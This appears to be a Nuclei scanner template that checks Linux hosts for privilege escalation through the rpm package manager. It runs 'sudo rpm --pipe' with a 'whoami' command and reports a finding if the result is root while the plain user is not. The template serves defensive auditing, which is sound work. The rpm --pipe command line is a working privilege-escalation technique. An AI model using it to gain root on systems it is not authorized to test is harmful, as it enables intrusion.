id: privesc-rpm info: name: rpm - Privilege Escalation author: daffainfo severity: high description: | rpm stands for "Red Hat Package Manager." It is a command-line package management utility used in Red Hat-based Linux distributions to install, update, and manage software packages. rpm is also used to query package information, verify package integrity, and perform various administrative tasks related to software packages. reference: - https://gtfobins.github.io/gtfobins/rpm/ metadata: verified: true max-request: 3 tags: code,linux,rpm,privesc,local self-contained: true code: - engine: - sh - bash source: | whoami - engine: - sh - bash source: | rpm --pipe 'whoami 0<&1' - engine: - sh - bash source: | sudo rpm --pipe 'whoami 0<&1' matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true - type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' condition: or # digest: 4a0a00473045022100f9ebcba2d19a4526e7f5e57c7f6689b357d2c494430888e101be24cfc76be06402205cb441dcdec04e9db9d615c66db8e622566f28ac363ca56cf663e53e0b37a139:922c64590222798bb761d5b6d8e72950